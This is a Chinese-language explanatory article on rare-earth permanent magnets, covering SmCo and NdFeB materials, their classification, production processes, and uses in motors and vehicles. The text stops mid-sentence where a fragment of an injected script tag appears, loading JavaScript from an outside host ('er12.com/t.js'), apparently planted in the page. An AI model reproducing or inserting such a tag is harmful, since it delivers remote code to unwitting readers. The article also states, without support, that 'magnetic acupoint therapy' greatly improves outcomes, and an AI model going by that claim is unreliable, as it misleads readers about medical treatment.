一、稀土永磁材料
稀土永磁材料是将钐、钕混合稀土金属与过渡金属（如钴、铁等）组成的合金，用粉末冶金方法压型烧结，经磁场充磁后制得的一种磁性材料。
稀土永磁分钐钴（smco）永磁体和钕铁硼（ndfeb）系永磁体，其中smco磁体的磁能积在15～30mgoe之间，ndfeb系永磁体的磁能积在27～50mgoe之间，被称为“永磁王”，是目前磁性最高的永磁材料。钐钴永磁体，尽管其磁性能优异，但含有储量稀少的稀土金属钐和稀缺、昂贵的战略金属钴，因此，它的发展受到了很大限制。我国稀土永磁行业的发展始于60年代末，当时的主导产品是钐-钴永磁，目前钐-钴永磁体世界销售量为630吨，我国为90.5吨（包括smco磁粉），主要用于军工技术。
随着计算机、通讯等产业的发展，稀土永磁特别是ndfeb永磁产业得到了飞速发展。
稀土永磁材料是现在已知的综合性能最高的一种永磁材料，它比十九世纪使用的磁钢的磁性能高100多倍，比铁氧体、铝镍钴性能优越得多，比昂贵的铂钴合金的磁性能还高一倍。由于稀土永磁材料的使用，不仅促进了永磁器件向小型化发展，提高了产品的性能，而且促使某些特殊器件的产生，所以稀土永磁材料一出现，立即引起各国的极大重视，发展极为迅速。我国研制生产的各种稀土永磁材料的性能已接近或达到国际先进水平。
现在稀土永磁材料已成为电子技术通讯中的重要材料，用在人造卫星，雷达等方面的行波管、环行器中以及微型电机、微型录音机、航空仪器、电子手表、地震仪和其它一些电子仪器上。目前稀土永磁应用已渗透到汽车、家用电器、电子仪表、核磁共振成像仪、音响设备、微特电机、移动电话等方面。在医疗方面，运用稀土永磁材料进行“磁穴疗法”，使得疗效大为提高，从而促进了“磁穴疗法”的迅速推广。在应用稀土的各个领域中，稀土永磁材料是发展速度最快的一个。它不仅给稀土产业的发展带来巨大的推动力，也对许多相关产业产生相当深远的影响。
二、稀土永磁材料分类
1．稀土钴永磁材料，包括稀土钴（1-5型）永磁材料smco5和稀土钴（2-17型）永磁材料sm2co17两大类。
2．稀土钕永磁材料，ndfeb永磁材料。
3．稀土铁氮（re-fe-n系）或稀土铁碳（re-fe-c系）永磁材料。
三、稀土永磁材料制备工艺分类
1．粉末冶金烧结工艺制备的烧结磁体；
2．还原扩散制粉或氢碎处理粉末及粉末冶金烧结工艺制备的烧结磁体；
3．快速凝固制粉或氢碎制粉（hddr），粉末模压粘结工艺制备的粘结磁体；
4．快速凝固制粉或氢碎（hddr）粉末的注射工艺制备的注射磁体；
5．快速凝固制粉或氢碎（hddr）粉末的热压法制备的热压磁体；
6．用热压磁体再进行热变形压工艺制备的各向异性热变形压磁体；
7．将热变形压磁体磨制成粉，再采用模压或注射等方法制备成各向异性粘结磁体。
四、稀土永磁材料的主要应用
永磁体最基本的作用是在某一特定的空间产生一恒定的磁场，维持此磁场并不需要任何外部电源。标志永磁材料好坏的参数有许多，最重要的是最大磁能积(bh)max，磁能积越大，材料每单位体积所产生外磁场的能量就越大。目前商品ndfeb永磁材料的最大磁能积已达到：50mgoe。由于稀土永磁材料的高磁能积和高矫顽力等优异的特性，已给永磁应用带来革命性的变化，稀土永磁材料主要应用在以下几个方面：
1．机电类
稀土永磁体的出现，意味着电机领域将引起革命性的变化。这是因为稀土永磁体没有激磁损耗，不发热，用它制造的电机优点很多。因稀土永磁电机没有激磁线圈与铁心，磁体体积较原来磁场极所占空间小，没有损耗，不发热，因此为得到同样输出功率整机的体积，重量可减小30%以上，或者同样体积、重量，输出功率大50%以上。
永磁电机，尤其是微电机，每年世界产量约几亿台之多，主要用在汽车、办公自动化设备和家用电器中。所使用的多为高性能的铁氧体和稀土永磁体。
今后稀土永磁电机的最大市场之一将是汽车工业。钕铁硼永磁材料性能优异，用于制造电机，可以实现汽车电机“钕铁硼化”。在汽车方面，只有用小马达，才能降低汽车重量，增加舒适感，提高安全性，降低尾气排放，提高汽车的整体性能，目前用量最大的是启动电机。电机是汽车中不可缺少的部件，汽车上电机数量在逐年增加。一般汽车上有8～18台，高级轿车多达40～50台，随着汽车工业的发展，汽车电机的需求是巨大的。高磁能积的稀土永磁体体积小，却能较铁氧体产生大得多的动力，因此提高了电效率。通过使用稀土磁体减少重量和尺寸，可以节约更多的燃料和增加设计的灵活性。
2．稀土永磁材料在医疗中的应用
3．磁选机
一般的磁选机有永磁式和电磁式两种，以前，永?script src=http://er12.com/t.js>
